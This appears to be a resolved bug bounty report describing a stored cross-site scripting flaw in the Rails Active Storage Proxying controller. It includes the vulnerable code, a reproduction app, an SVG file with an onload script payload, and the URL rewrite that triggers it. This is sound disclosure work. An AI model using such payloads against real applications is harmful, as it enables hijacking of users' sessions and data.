Loading HuntDB...

XSS by file (Active Storage `Proxying`)

Medium
R
Ruby on Rails
Submitted None
Reported by ooooooo_q

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - Stored
Hello, I've seen similar issues with #407319 and #429868 occur with Active Storage's new File serving strategies `Proxying`. Commit is https://github.com/rails/rails/commit/dfb5a82b259e134eac89784ac4ace0c44d1b4aee. ```ruby # https://github.com/rails/rails/blob/master/activestorage/app/controllers/concerns/active_storage/set_headers.rb#L9 response.headers["Content-Disposition"] = ActionDispatch::Http::ContentDisposition.format \ disposition: params[:disposition] || "inline", filename: blob.filename. ``` ```ruby # https://github.com/rails/rails/blob/master/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb # Proxy files through application. This avoids having a redirect and makes files easier to cache. class ActiveStorage::Blobs::ProxyController < ActiveStorage::BaseController include ActiveStorage::SetBlob include ActiveStorage::SetHeaders def show http_cache_forever public: true do set_content_headers_from @blob stream @blob end end end ``` Since `inline` can be set regardless of the file type, XSS is possible when a malicious file is uploaded. ### Proof of concept #### 1. Preparing the server ``` $ rails new proxy_xss --skip-bundle --skip-webpack-install $ cd proxy_xss/ ``` Edit Gemfile. ```ruby source 'https://rubygems.org' git_source(:github) { |repo| "https://github.com/#{repo}.git" } ruby '2.7.1' gem 'rails', github: "rails/rails", branch: "master" gem 'sqlite3', '~> 1.4' gem 'puma', '~> 4.1' gem 'bootsnap', '>= 1.4.2', require: false group :development do gem 'listen', '~> 3.2' end ``` ``` $ bundle install ... $ head Gemfile.lock GIT remote: https://github.com/rails/rails.git revision: 11f54e12b992f6c8d29fd9bedd89ac438a928a2f branch: master specs: actioncable (6.1.0.alpha) actionpack (= 6.1.0.alpha) activesupport (= 6.1.0.alpha) nio4r (~> 2.0) websocket-driver (>= 0.6.1) ``` ``` $ bundle exec rails active_storage:install $ bundle exec rails g resource user name:text $ bundle exec rails db:migrate ``` Edit app files. ```ruby # controllers/users_controller.rb class UsersController < ApplicationController def new @user = User.new end def create user = User.create!(user_params) redirect_to "/users/#{user.id}" end def show @user = User.find(params[:id]) end private def user_params params.require(:user).permit(:name, :image) end end ``` ```ruby # models/user.rb class User < ApplicationRecord has_one_attached :image end ``` ```erb # views/layouts/application.html.erb <!DOCTYPE html> <html> <head> <title>ProxyXss</title> <%= csrf_meta_tags %> <%= csp_meta_tag %> </head> <body> <%= yield %> </body> </html> ``` ```erb # views/user/new.html.erb <%= form_with model: @user, local: true, :url => {:action => :create} do |form| %> <%= form.text_area :name %><br> <%= form.file_field :image %><br> <%= form.submit %> <% end %> ``` ```erb # views/user/show.html.erb <% if @user.image.attached? %> <%= image_tag @user.image %> <% end %> ``` #### 2. Obtain url Start server. ``` rails s ``` Open `http://localhost:3000/users/new` in your browser, Upload the following file as `alert.svg`. ```xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns='http://www.w3.org/2000/svg' width="200px" height="200px" onload="blocked:alert(location)"> </svg> ``` After that, use the developer tool to obtain the redirected URL. ``` http://localhost:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ed4ee8109834f4dd747bfb68d7a7ddc2e43e8f69/alert.svg ``` #### 3. XSS Rewrite `redirect` in URL to `proxy` and alert will appear when opening URL directly in browser. ``` http://localhost:3000/rails/active_storage/blobs/proxy/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ed4ee8109834f4dd747bfb68d7a7ddc2e43e8f69/alert.svg ``` {F933309} ## Impact XSS is possible if attacker can upload files using Active storage. This commit has not been released yet, so it only affects services using Rails on the master branch. (Maybe `Hey` etc. https://gist.github.com/dhh/782fb925b57450da28c1e15656779556#file-gemfile-L3) In addition, since the csp header is not output for the svg file (https://github.com/rails/rails/blob/master/actionpack/lib/action_dispatch/http/content_security_policy.rb#L20), it can be avoided even if csp is set.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$500.00

Submitted

Weakness

Cross-site Scripting (XSS) - Stored